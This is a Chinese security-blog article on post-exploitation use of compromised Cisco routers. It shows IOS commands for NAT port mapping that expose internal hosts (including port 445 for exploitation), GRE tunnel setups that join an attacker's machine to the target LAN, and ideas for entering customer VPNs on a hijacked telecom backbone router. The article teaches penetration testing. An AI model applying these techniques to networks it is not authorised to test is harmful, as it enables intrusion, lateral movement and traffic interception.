渗透测试之cisco路由器在渗透中的利用

ph0en1x 内网渗透 2018年2月6日发布
Favorite收藏

导语:本文将结合作者之前的测试案例,介绍两种cisco路由器在渗透过程中的利用方法,以及一次在获得某电信网络骨干路由器权限后的思考。

相信很多朋友在做渗透测试的过程中,经常会遇到一些路由器等网络设备,那么,在我们获得路由器的最高操作权限,具有修改路由器配置的情况下,可以进行哪些操作呢,本文将结合作者之前的测试案例,介绍两种cisco路由器在渗透过程中的利用方法,以及一次在获得某电信网络骨干路由器权限后的思考。

一、端口映射,各个击破

路由器端口映射就是在路由器开放一个端口,并将该端口映射到相应的主机端口。当外网有数据访问路由器开放的端口时,路由器直接将来该端口的所有数据转发到相应的主机端口。

通过互联网获得的路由器设备,最常见的网络拓扑如下图:

图片1.png

路由器内网连接着多个服务器,但是无法从外网访问,这时如果我们知道它们所开放的服务,就可以通过路由器端口映射的方法,将内网的服务端口映射到路由器的外网地址,从而实现对内网服务的访问,配置代码如下:

route>en
Password:
route#conf t
route(config)#ip nat inside source static tcp 192.168.1.13 80 23.23.23.23 8081 
route(config)#exit
route#wr

上述配置是将内网192.168.1.13服务器的80端口,映射到外网23.23.23.23的8081端口上,如果要删除这条配置,代码如下:

route(config)#no ip nat inside source static tcp 192.168.1.13 80 23.23.23.23 8081

tips:

1、由于对路由器配置进行修改,操作完毕后要及时删除添加的配置;

2、映射到外网端口时,要考虑防火墙的问题,选择允许访问的端口;

3、利用这种方法可以将内网主机的445等常见漏洞端口映射出来,进行溢出测试,由于是内网,服务器系统相对老旧,补丁也不全,说不定会有意外惊喜。

二、隧道搭建,直搞黄龙

GRE(Generic routing encapsulation)通用路由封装是一种隧道协议,能够在IP隧道中封装各种网络层协议的分组,从而创建虚拟点到点链路。利用GRE协议搭建隧道,实现将本地主机加入到目标路由器所在的内网的功能,可以忽略网络的连接,随意进行内网测试,只不过此时本地也需要一台支持GRE协议的路由器。

(对GRE协议以及GRE数据包格式不了解的同学可以自行学习)

此时的网络结构大致如下:

图片1.png

目标路由器连接着一个内网,地址段为192.168.1.0/24,而此时,通过对目标路由器B和本地路由器A进行GRE的配置,就可实现本地主机(192.168.1.211)加入目标网络,成为网络中的一个节点,就像访问本地局域网一样。

目标路由器_B的配置:

interface Ethernet0/1   #内网接口
ip address 192.168.1.1 255.255.255.0
interface Serial0/0    #外网接口
ip address 13.13.13.13 255.255.255.0   #外网地址
interface Tunnel0   #隧道名称
ip address 1.1.1.1 255.255.255.0    #隧道地址,此地址可以随意填写
tunnel source Serial0/0       #隧道源地址,即外网接口地址
tunnel destination 12.12.12.12    #隧道目的地址,即对端路由器外网接口地址
ip route 192.168.1.211 255.255.255.255 Tunnel0   #路由信息,通过Tunnel0接口访问本地主机

本地路由器_A的配置:

interface Ethernet0/1   #内网接口
ip address 192.168.1.1 255.255.255.0
interface Serial0/0    #外网接口
ip address 12.12.12.12 255.255.255.0   #外网地址
interface Tunnel1   #隧道名称
ip address 2.2.2.2 255.255.255.0    #隧道地址,此地址可以随意填写
tunnel source Serial0/0       #隧道源地址,即外网接口地址
tunnel destination 13.13.13.13    #隧道目的地址,即对端路由器外网接口地址
ip route 0.0.0.0 0.0.0.0 Tunnel1   #路由信息,本地主机的所有数据都从Tunnel0接口发出

两个路由器经过上述配置后,本地主机与目标路由器内网就处在一个网络中,方便下一步的渗透测试。

tips:

1、通过目标路由器配置GRE隧道,必须要求本地具有一台支持GRE协议的路由器;

2、GRE隧道是点对点连接,所以本地路由器必须有一个独立的外网地址;

3、上述GRE隧道不加密,为明文传输,具有一定风险;

4、要确保本地主机的IP地址与目标路由器内网的主机IP不冲突。

三、对某电信网络骨干路由器利用的思考

曾经,一个偶然的机会,获得了某电信网络骨干路由器的控制权,也就是传说中的MPLS VPN网络中的PE路由器(边界路由器) , 通过show run配置,发现其上配置了大量的VPN网络,每个VPN网络就是一个Tunnel接口,相同用户VPN网络使用同一个VRF号,通过每个Tunnel接口以及VRF号的描述信息,很容易知道每个Tunnel和VRF对应的用户信息。

由于使用的是GRE协议配置的VPN网络,所以就设想,利用上述搭隧道的方法,本地路由器充当一台CE,应该可以实现将本地的主机加入任意VPN网络,只需要在本地路由器配置Tunnel接口时,使用相同的VRF号。

上述想法虽然未经测试,但本人觉得这个思路应该能够实现。

注:本文代码与思路完全公开,请仅作学习交流使用,不要对号入座,其余用途与本文作者无关。

本文为 ph0en1x 原创稿件,授权嘶吼独家发布,未经许可禁止转载,如若转载,请联系嘶吼编辑: http://www.4hou.com/penetration/10259.html
点赞 34
  • 分享至
取消

感谢您的支持,我会继续努力的!

扫码支持

打开微信扫一扫后点击右上角即可分享哟

发表评论

    Chaos22 2018-02-08 13:51

    如何获得路由器控制权才是难点……有了控制权之后,其他都好说,

    2018-02-06 21:05

    数据包捕获可以么?

      ph0en1x 2018-02-07 13:27

      回复 @匿名 当然可以,利用隧道,添加路由,将目标路由器的数据都从隧道转到你的路由器上,这样就好操作了。你可以参考这篇文章:http://www.vuln.cn/6787